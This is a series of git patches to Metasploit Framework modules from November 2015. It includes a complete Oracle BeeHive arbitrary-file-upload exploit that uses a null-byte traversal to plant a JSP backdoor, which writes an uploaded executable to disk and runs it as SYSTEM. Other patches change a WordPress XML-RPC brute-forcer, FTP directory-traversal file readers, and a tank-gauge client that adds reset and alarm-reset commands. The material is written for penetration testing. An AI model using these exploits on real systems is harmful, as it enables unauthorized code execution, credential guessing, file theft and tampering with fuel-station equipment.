'DNS Common Service Record Enumeration', + 'Description' => %q{ This module enumerates common DNS service records in a given domain. By setting the ALL_DNS to true, all the name servers of a given domain are used for enumeration. Otherwise only the system dns is used for enumration. in order to get @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Auxiliary 'Carlos Perez <carlos_perez[at]darkoperator.com>', # First and main. 'Fabrice RAFART' # mainly change for AD and report. ], - 'License' => BSD_LICENSE + 'License' => BSD_LICENSE )) register_options( From 137c2e214e909ea57695c89dcc0121409aad0d61 Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Wed, 11 Nov 2015 02:01:01 +0300 Subject: [PATCH 1154/2172] Fix the comment --- modules/auxiliary/gather/ip2location.rb | 0 .../scanner/http/wordpress_xmlrpc_massive_bruteforce.rb | 5 ++--- 2 files changed, 2 insertions(+), 3 deletions(-) create mode 100644 modules/auxiliary/gather/ip2location.rb diff --git a/modules/auxiliary/gather/ip2location.rb b/modules/auxiliary/gather/ip2location.rb new file mode 100644 index 0000000000..e69de29bb2 diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index 367878cbe2..3de13ae301 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -56,8 +56,8 @@ class Metasploit3 < Msf::Auxiliary vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 xml_payloads = [] # Container for all generated XMLs - xml = "" - # Evil XML | Limit number of log-ins to 1700/request for wordpress limitation + + # Evil XML | Limit number of log-ins to 1500/request due wordpress limitation passwords.each_slice(1500) do |pass_group| document = Nokogiri::XML::Builder.new do |xml| @@ -98,7 +98,6 @@ class Metasploit3 < Msf::Auxiliary xml_payloads end - # # Check target status # From 7b3cfa79f3f001b0ca029d883a1632225f4adc53 Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Wed, 11 Nov 2015 02:13:34 +0300 Subject: [PATCH 1155/2172] Remove ip2location module --- modules/auxiliary/gather/ip2location.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 modules/auxiliary/gather/ip2location.rb diff --git a/modules/auxiliary/gather/ip2location.rb b/modules/auxiliary/gather/ip2location.rb deleted file mode 100644 index e69de29bb2..0000000000 From a0351133a6c5be0604affd4b3312950fba1ceb6d Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Wed, 11 Nov 2015 09:51:05 +0800 Subject: [PATCH 1156/2172] Add more references to this exploit Adding exploit-db doc about China Chopper webshell and details about this webshell in US-CERT. --- modules/exploits/multi/http/caidao_php_backdoor_exec.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb index 354346d31f..03028e468b 100644 --- a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb +++ b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb @@ -23,7 +23,9 @@ class Metasploit4 < Msf::Exploit::Remote 'References' => [ ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'], - ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html'] + ['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html'], + ['URL', 'https://www.exploit-db.com/docs/27654.pdf'], + ['URL', 'https://www.us-cert.gov/ncas/alerts/TA15-313A'] ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, From 136fa12ac9aa254e59f76ad6d32b6f961c2e2186 Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Wed, 11 Nov 2015 06:02:13 +0300 Subject: [PATCH 1157/2172] Remove unused advanced options --- .../scanner/http/wordpress_xmlrpc_massive_bruteforce.rb | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index 3de13ae301..a8b1ec5400 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -35,13 +35,6 @@ class Metasploit3 < Msf::Auxiliary File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]), OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]) ], self.class) - - - register_advanced_options( - [ - OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]), - OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]) - ], self.class) end def usernames @@ -161,6 +154,7 @@ class Metasploit3 < Msf::Auxiliary sleep datastore['BLOCKEDWAIT'] * 60 retry end + vprint_status('Sleeping for 2 seconds..') sleep 2 end end end From cf0cb2df9ea669ac6668a8d8500bd428adb7707b Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Wed, 11 Nov 2015 06:24:52 +0300 Subject: [PATCH 1158/2172] Add TARGETURI option --- .../scanner/http/wordpress_xmlrpc_massive_bruteforce.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index a8b1ec5400..dcd68051e7 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -29,6 +29,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ + OptString.new('TARGETURI', [true, 'The base path', '/']), OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line', @@ -118,10 +119,11 @@ class Metasploit3 < Msf::Auxiliary generate_xml(user).each do |xml| break if passfound == true + uri = target_uri.path opts = { 'method' => 'POST', - 'uri' => wordpress_url_xmlrpc, + 'uri' => normalize_uri(uri, wordpress_url_xmlrpc), 'data' => xml, 'ctype' =>'text/xml' } From d00eba23f93a071f1d1b55157786f029c31f996f Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 10 Nov 2015 21:02:37 -0800 Subject: [PATCH 1159/2172] Update references --- modules/auxiliary/admin/atg/client.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb index 19c7e47b4b..cebe27ab46 100644 --- a/modules/auxiliary/admin/atg/client.rb +++ b/modules/auxiliary/admin/atg/client.rb @@ -28,9 +28,10 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'References' => [ - ['URL', 'http://www.veeder.com/us/automatic-tank-gauge-atg-consoles'], + ['URL', 'https://community.rapid7.com/community/infosec/blog/2015/01/22/the-internet-of-gas-station-tank-gauges'], + ['URL', 'http://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-gaspot-experiment'], ['URL', 'https://github.com/sjhilt/GasPot'], - ['URL', 'https://community.rapid7.com/community/infosec/blog/2015/01/22/the-internet-of-gas-station-tank-gauges'] + ['URL', 'http://www.veeder.com/us/automatic-tank-gauge-atg-consoles'] ], 'DefaultAction' => 'INVENTORY', 'Actions' => From 66f3582991a85bfa2bef0a1cb615349597d4dc83 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 10 Nov 2015 23:05:11 -0600 Subject: [PATCH 1160/2172] Add Oracle Beehive prepareAudioToPlay Exploit Module --- .../http/oracle_beehive_prepareaudiotoplay.rb | 149 ++++++++++++++++++ 1 file changed, 149 insertions(+) create mode 100644 modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb diff --git a/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb b/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb new file mode 100644 index 0000000000..55ad6737c5 --- /dev/null +++ b/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb @@ -0,0 +1,149 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Oracle BeeHive 2 voice-servlet prepareAudioToPlay() Arbitrary File Upload", + 'Description' => %q{ + This module exploits a vulnerability found in Oracle BeeHive. The prepareAudioToPlay method + found in voice-servlet can be abused to write a malicious file onto the target machine, and + gain remote arbitrary code execution under the context of SYSTEM. Authentication is not + required to exploit this vulnerability. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'mr_me <steventhomasseeley[at]gmail.com>', # Source Incite. Vulnerability discovery, PoC + 'sinn3r' # MSF module + ], + 'References' => + [ + [ 'ZDI', '15-550'] + ], + 'DefaultOptions' => + { + 'RPORT' => 7777 + }, + 'Platform' => 'win', + 'Targets' => + [ + ['Oracle Beehive 2', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Nov 10 2015", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Oracle Beehive's base directory", '/']) + ], self.class) + end + + + def check + res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa/')) + + if res.nil? + vprint_error("Connection timed out.") + return Exploit::CheckCode::Unknown + elsif res && (res.code == 403 || res.code == 200) + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + end + + + def exploit + unless check == Exploit::CheckCode::Detected + fail_with(Failure::NotVulnerable, 'Target does not have voice-servlet') + end + + # Init some names + # We will upload to: + # C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\BEEAPP\applications\voice-servlet\prompt-qa\ + exe_name = "#{Rex::Text.rand_text_alpha(5)}.exe" + stager_name = "#{Rex::Text.rand_text_alpha(5)}.jsp" + print_status("Stager name is: #{stager_name}") + print_status("Executable name is: #{exe_name}") + register_files_for_cleanup("../BEEAPP/applications/voice-servlet/voice-servlet/prompt-qa/#{stager_name}") + + # Ok fire! + print_status("Uploading stager...") + res = upload_stager(stager_name, exe_name) + + # Hmm if we fail to upload the stager, no point to continue. + unless res + fail_with(Failure::Unknown, 'Connection timed out.') + end + + print_status("Uploading payload...") + upload_payload(stager_name) + end + + # Our stager is basically a backdoor that allows us to upload an executable with a POST request. + def get_jsp_stager(exe_name) + jsp = %Q|<%@ page import="java.io.*" %> +<% + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + BufferedReader reader = request.getReader(); + int tmp; + while ((tmp = reader.read()) != -1) { buf.write(tmp); } + FileOutputStream fostream = new FileOutputStream("#{exe_name}"); + buf.writeTo(fostream); + fostream.close(); + Runtime.getRuntime().exec("#{exe_name}"); +%>| + + # Since we're sending it as a GET request, we want to keep it smaller so + # we gsub stuff we don't want. + jsp.gsub!("\n", '') + jsp.gsub!(' ', ' ') + Rex::Text.uri_encode(jsp) + end + + + def upload_stager(stager_name, exe_name) + # wavfile = Has to be longer than 4 bytes (otherwise you hit a java bug) + + jsp_stager = get_jsp_stager(exe_name) + uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', 'playAudioFile.jsp') + send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'encode_params' => false, # Don't encode %00 for us + 'vars_post' => { + 'sess' => "..\\#{stager_name}%00", + 'recxml' => jsp_stager, + 'audiopath' => Rex::Text.rand_text_alpha(1), + 'wavfile' => "#{Rex::Text.rand_text_alpha(5)}.wav", + 'evaluation' => Rex::Text.rand_text_alpha(1) + } + }) + end + + def upload_payload(stager_name) + uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', stager_name) + send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'data' => generate_payload_exe(code: payload.encoded) + }) + end + + def print_status(msg) + super("#{rhost}:#{rport} - #{msg}") + end + +end From 8dd6003cc2f7b153735c12a586055cac1f2c5732 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 10 Nov 2015 21:18:27 -0800 Subject: [PATCH 1161/2172] Add several untested but likely OK TLS-350 commands --- modules/auxiliary/admin/atg/client.rb | 68 ++++++++++++++++++++++++++- 1 file changed, 67 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb index cebe27ab46..bdcefd6188 100644 --- a/modules/auxiliary/admin/atg/client.rb +++ b/modules/auxiliary/admin/atg/client.rb @@ -36,6 +36,18 @@ class Metasploit3 < Msf::Auxiliary 'DefaultAction' => 'INVENTORY', 'Actions' => [ + [ 'ALARM', + { + 'Description' => 'I30200 Sensor alarm history (untested)', + 'TLS-350_CMD' => "\x01I30200" + } + ], + [ 'ALARM_RESET', + { + 'Description' => 'IS00300 Remote alarm reset (untested)', + 'TLS-350_CMD' => "\x01IS00300" + } + ], [ 'DELIVERY', { 'Description' => 'I20200 Delivery report', @@ -44,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary ], [ 'INVENTORY', { - 'Description' => 'I20100 In-tank inventory report', + 'Description' => '200/I20100 In-tank inventory report', 'TLS-250_CMD' => "\x01200", 'TLS-350_CMD' => "\x01I20100" } @@ -55,6 +67,36 @@ class Metasploit3 < Msf::Auxiliary 'TLS-350_CMD' => "\x01I20300" } ], + [ 'RELAY', + { + 'Description' => 'I40600 Relay status (untested)', + 'TLS-350_CMD' => "\x01I40600" + } + ], + [ 'RESET', + { + 'Description' => 'IS00100 Reset (untested)', + 'TLS-350_CMD' => "\x01IS00100" + } + ], + [ 'CLEAR_RESET', + { + 'Description' => 'IS00200 Clear Reset Flag (untested)', + 'TLS-350_CMD' => "\x01IS00200" + } + ], + [ 'SENSOR', + { + 'Description' => 'I30100 Sensor status (untested)', + 'TLS-350_CMD' => "\x01I30100" + } + ], + [ 'SENSOR_DIAG', + { + 'Description' => 'IB0100 Sensor diagnostics (untested)', + 'TLS-350_CMD' => "\x01IB0100" + } + ], [ 'SHIFT', { 'Description' => 'I20400 Shift report', @@ -67,12 +109,36 @@ class Metasploit3 < Msf::Auxiliary 'TLS-350_CMD' => "\x01S602" } ], + [ 'SET_TIME', + { + 'Description' => 'S50100 Set time of day (untested)', + 'TLS-350_CMD' => "\x01S50100" + } + ], [ 'STATUS', { 'Description' => 'I20500 In-tank status report', 'TLS-350_CMD' => "\x01I20500" } ], + [ 'SYSTEM_STATUS', + { + 'Description' => 'I10100 System status report (untested)', + 'TLS-350_CMD' => "\x01I10100" + } + ], + [ 'TANK_ALARM', + { + 'Description' => 'I20600 Tank alarm history (untested)', + 'TLS-350_CMD' => "\x01I20600" + } + ], + [ 'TANK_DIAG', + { + 'Description' => 'IA0100 Tank diagnostics (untested)', + 'TLS-350_CMD' => "\x01IA0100" + } + ], [ 'VERSION', { 'Description' => 'Version information', From e67057a5c96a76e36fd4e5ee963bd2a2ed4b5a1c Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 10 Nov 2015 21:19:37 -0800 Subject: [PATCH 1162/2172] Add great TLS-350 resource --- modules/auxiliary/admin/atg/client.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb index bdcefd6188..52e24ff8da 100644 --- a/modules/auxiliary/admin/atg/client.rb +++ b/modules/auxiliary/admin/atg/client.rb @@ -31,7 +31,8 @@ class Metasploit3 < Msf::Auxiliary ['URL', 'https://community.rapid7.com/community/infosec/blog/2015/01/22/the-internet-of-gas-station-tank-gauges'], ['URL', 'http://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-gaspot-experiment'], ['URL', 'https://github.com/sjhilt/GasPot'], - ['URL', 'http://www.veeder.com/us/automatic-tank-gauge-atg-consoles'] + ['URL', 'http://www.veeder.com/us/automatic-tank-gauge-atg-consoles'], + ['URL', 'http://www.chipkin.com/files/liz/576013-635.pdf'] ], 'DefaultAction' => 'INVENTORY', 'Actions' => From 637e570b28b6dd3b6f57a9118ba96e36a0dbc996 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 10 Nov 2015 21:21:55 -0800 Subject: [PATCH 1163/2172] Add TLS-250 reference --- modules/auxiliary/admin/atg/client.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb index 52e24ff8da..5c7cebd24d 100644 --- a/modules/auxiliary/admin/atg/client.rb +++ b/modules/auxiliary/admin/atg/client.rb @@ -32,7 +32,8 @@ class Metasploit3 < Msf::Auxiliary ['URL', 'http://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-gaspot-experiment'], ['URL', 'https://github.com/sjhilt/GasPot'], ['URL', 'http://www.veeder.com/us/automatic-tank-gauge-atg-consoles'], - ['URL', 'http://www.chipkin.com/files/liz/576013-635.pdf'] + ['URL', 'http://www.chipkin.com/files/liz/576013-635.pdf'], + ['URL', 'http://www.veeder.com/gold/download.cfm?doc_id=6227'] ], 'DefaultAction' => 'INVENTORY', 'Actions' => From 0762b9fa9b2e6a5a6b6887178ed0c791509db38b Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 10 Nov 2015 21:24:58 -0800 Subject: [PATCH 1164/2172] Fix option formatting --- modules/auxiliary/admin/atg/client.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb index 5c7cebd24d..a1a45bb38b 100644 --- a/modules/auxiliary/admin/atg/client.rb +++ b/modules/auxiliary/admin/atg/client.rb @@ -155,7 +155,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(10001), OptInt.new('TANK_NUMBER', [false, 'The tank number to operate on (use with SET_TANK_NAME, 0 to change all)', 1]), - OptString.new('TANK_NAME', [false, 'The tank name to set (use with SET_TANK_NAME), defaults to random']) + OptString.new('TANK_NAME', [false, 'The tank name to set (use with SET_TANK_NAME, defaults to random)']) ], self.class ) From 8ea0a864db11799e06a1735b6550afa338788264 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 10 Nov 2015 23:32:22 -0600 Subject: [PATCH 1165/2172] Add a reference for patching --- .../exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb b/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb index 55ad6737c5..91f4637264 100644 --- a/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb +++ b/modules/exploits/windows/http/oracle_beehive_prepareaudiotoplay.rb @@ -29,7 +29,8 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ - [ 'ZDI', '15-550'] + [ 'ZDI', '15-550'], + [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html' ] ], 'DefaultOptions' => { From de570a15503b920b29813fab00efc45713129141 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 10 Nov 2015 21:41:05 -0800 Subject: [PATCH 1166/2172] Improve output when setting tank names --- modules/auxiliary/admin/atg/client.rb | 26 ++++++++++++++++++++------ 1 file changed, 20 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb index a1a45bb38b..414f5fb858 100644 --- a/modules/auxiliary/admin/atg/client.rb +++ b/modules/auxiliary/admin/atg/client.rb @@ -199,17 +199,31 @@ class Metasploit3 < Msf::Auxiliary connect case action.name when 'SET_TANK_NAME' - vprint_status("#{peer} -- setting tank ##{tank_number} to #{tank_name}") - request = action.opts[protocol + '_CMD'] + "#{format('%02d', tank_number)}#{tank_name}\n" + # send the set tank name command to change the tank name(s) + if tank_number == 0 + vprint_status("#{peer} -- setting all tank names to #{tank_name}") + else + vprint_status("#{peer} -- setting tank ##{tank_number}'s name to #{tank_name}") + end + request = "#{action.opts[protocol + '_CMD']}#{format('%02d', tank_number)}#{tank_name}\n" sock.put(request) + # reconnect disconnect connect - sock.put(actions.find { |a| a.name == 'INVENTORY' }.opts[protocol + '_CMD'] + "\n") - print_status("#{peer} #{datastore['PROTOCOL']} #{action.opts['Description']}:\n#{sock.get_once}") + # send an inventory probe to show that it succeeded + inventory_probe = "#{actions.find { |a| a.name == 'INVENTORY' }.opts[protocol + '_CMD']}\n" + sock.put(inventory_probe) + inventory_response = sock.get_once # XXX: timeout? + message = "#{peer} #{protocol} #{action.opts['Description']}:\n#{inventory_response}" + if inventory_response.include?(tank_name) + print_good message + else + print_warning message + end else - request = action.opts[datastore['PROTOCOL'] + '_CMD'] + "\n" + request = "#{action.opts[protocol + '_CMD']}\n" sock.put(request) - print_status("#{peer} #{datastore['PROTOCOL']} #{action.opts['Description']}:\n#{sock.get_once}") + print_status("#{peer} #{protocol} #{action.opts['Description']}:\n#{sock.get_once}") end ensure disconnect From c98ab1dad4599248f787862284d62988bc18eec1 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 10 Nov 2015 21:49:40 -0800 Subject: [PATCH 1167/2172] update SET_TANK_NAME opt to mention necessary opts --- modules/auxiliary/admin/atg/client.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb index 414f5fb858..f5df9b3f9b 100644 --- a/modules/auxiliary/admin/atg/client.rb +++ b/modules/auxiliary/admin/atg/client.rb @@ -107,7 +107,7 @@ class Metasploit3 < Msf::Auxiliary ], [ 'SET_TANK_NAME', { - 'Description' => 'S602 set tank name', + 'Description' => 'S602 set tank name (use TANK_NUMBER and TANK_NAME options)', 'TLS-350_CMD' => "\x01S602" } ], From 0cfa67f58f2be56a9633f8c355ce73d4de4e33a2 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 10 Nov 2015 22:00:02 -0800 Subject: [PATCH 1168/2172] Stub out more of the set time, but disable it --- modules/auxiliary/admin/atg/client.rb | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb index f5df9b3f9b..08d60d0c45 100644 --- a/modules/auxiliary/admin/atg/client.rb +++ b/modules/auxiliary/admin/atg/client.rb @@ -113,8 +113,9 @@ class Metasploit3 < Msf::Auxiliary ], [ 'SET_TIME', { - 'Description' => 'S50100 Set time of day (untested)', - 'TLS-350_CMD' => "\x01S50100" + 'Description' => 'S50100 Set time of day (use TIME option) (untested)', + # disabled, unsure how this works just yet + #'TLS-350_CMD' => "\x01S50100" } ], [ 'STATUS', @@ -155,7 +156,8 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(10001), OptInt.new('TANK_NUMBER', [false, 'The tank number to operate on (use with SET_TANK_NAME, 0 to change all)', 1]), - OptString.new('TANK_NAME', [false, 'The tank name to set (use with SET_TANK_NAME, defaults to random)']) + OptString.new('TANK_NAME', [false, 'The tank name to set (use with SET_TANK_NAME, defaults to random)']), + OptString.new('TIME', [false, "The time to set (use with SET_TIME, defaults to Time.now (~#{Time.now.inspect})"]) ], self.class ) @@ -190,6 +192,14 @@ class Metasploit3 < Msf::Auxiliary datastore['TANK_NUMBER'] end + def time + if datastore['TIME'] + Time.parse(datastore['TIME']).to_i + else + Time.now.to_i + end + end + def peer "#{rhost}:#{rport}" end @@ -220,6 +230,9 @@ class Metasploit3 < Msf::Auxiliary else print_warning message end + when 'SET_TIME' + request = "#{action.opts[protocol + '_CMD']}#{Time.now.to_i}\n" + sock.put(request) else request = "#{action.opts[protocol + '_CMD']}\n" sock.put(request) From 4716e2e16bc0566174d72a2fb849d0857e008895 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Wed, 11 Nov 2015 14:00:04 +0800 Subject: [PATCH 1169/2172] Update pcman_ftp_traversal.rb made some changes --- modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb index f6faffaf9d..1e9d99cd33 100644 --- a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary connect disconnect if (banner =~ /220 PCMan's FTP Server 2\.0/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary print_status("Stored #{file_path} to #{loot_file}") # Read and print the data from the loot file. - info_disclosure = IO.read(loot_file) + info_disclosure = print_line(loot_file) print_status("Printing contents of #{file_path}") print_good("Result:\n #{info_disclosure}") From 75a0472db8749d21a78a4101a15044d8e33ac659 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Wed, 11 Nov 2015 14:01:39 +0800 Subject: [PATCH 1170/2172] Update bison_ftp_traversal.rb made some changes --- modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb index 7ea13b8a7e..e4b4289c00 100644 --- a/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary connect disconnect if (banner =~ /BisonWare BisonFTP server product V3.5/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary print_status("Stored #{file_path} to #{loot_file}") # Read and print the data from the loot file. - info_disclosure = IO.read(loot_file) + info_disclosure = print_line(loot_file) print_status("Printing contents of #{file_path}") print_good("Result:\n #{info_disclosure}") From e6e5bde492793544e279b8635c566be2a14c9b63 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 11 Nov 2015 11:06:54 -0600 Subject: [PATCH 1171/2172] Do module cleanup for auxiliary/scanner/ftp/pcman_ftp_traversal --- .../scanner/ftp/pcman_ftp_traversal.rb | 57 ++++++++++--------- 1 file changed, 31 insertions(+), 26 deletions(-) diff --git a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb index 1e9d99cd33..15e40e43b5 100644 --- a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb @@ -13,41 +13,46 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'PCMan FTP Server Directory Traversal Information Disclosure', - 'Description' => %q{ + 'Name' => 'PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure', + 'Description' => %q{ This module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7. This vulnerability allows an attacker to download arbitrary files from the server by crafting a RETR command that includes file system traversal strings such as '..//' }, - 'Platform' => 'win', - 'Author' => + 'Platform' => 'win', + 'Author' => [ - 'Jay Turla <@shipcod3>', # msf and initial discovery + 'Jay Turla', # @shipcod3, msf and initial discovery 'James Fitts', # initial discovery - 'Brad Wolfe' # brad.wolfe[at]gmail.com + 'Brad Wolfe <brad.wolfe[at]gmail.com>' ], - 'License' => MSF_LICENSE, - 'References' => + 'License' => MSF_LICENSE, + 'References' => [ [ 'EDB', '38340'], [ 'CVE', '2015-7601'] ], - 'DisclosureDate' => 'Sep 28 2015')) + 'DisclosureDate' => 'Sep 28 2015' + )) register_options( [ + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]), OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']) ], self.class) end - def check - connect - disconnect - if (banner =~ /220 PCMan's FTP Server 2\.0/) - return Exploit::CheckCode::Appears - else - return Exploit::CheckCode::Safe + def check_host(ip) + begin + connect + if /220 PCMan's FTP Server 2\.0/i === banner + return Exploit::CheckCode::Appears + end + ensure + disconnect end + + Exploit::CheckCode::Safe end def run_host(target_host) @@ -59,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary file = ::File.basename(file_path) # make RETR request and store server response message... - retr_cmd = ( "..//" * 32 ) + "#{file_path}" + retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}" res = send_cmd( ["RETR", retr_cmd]) # read the file data from the socket that we opened @@ -72,16 +77,16 @@ class Metasploit3 < Msf::Auxiliary # store 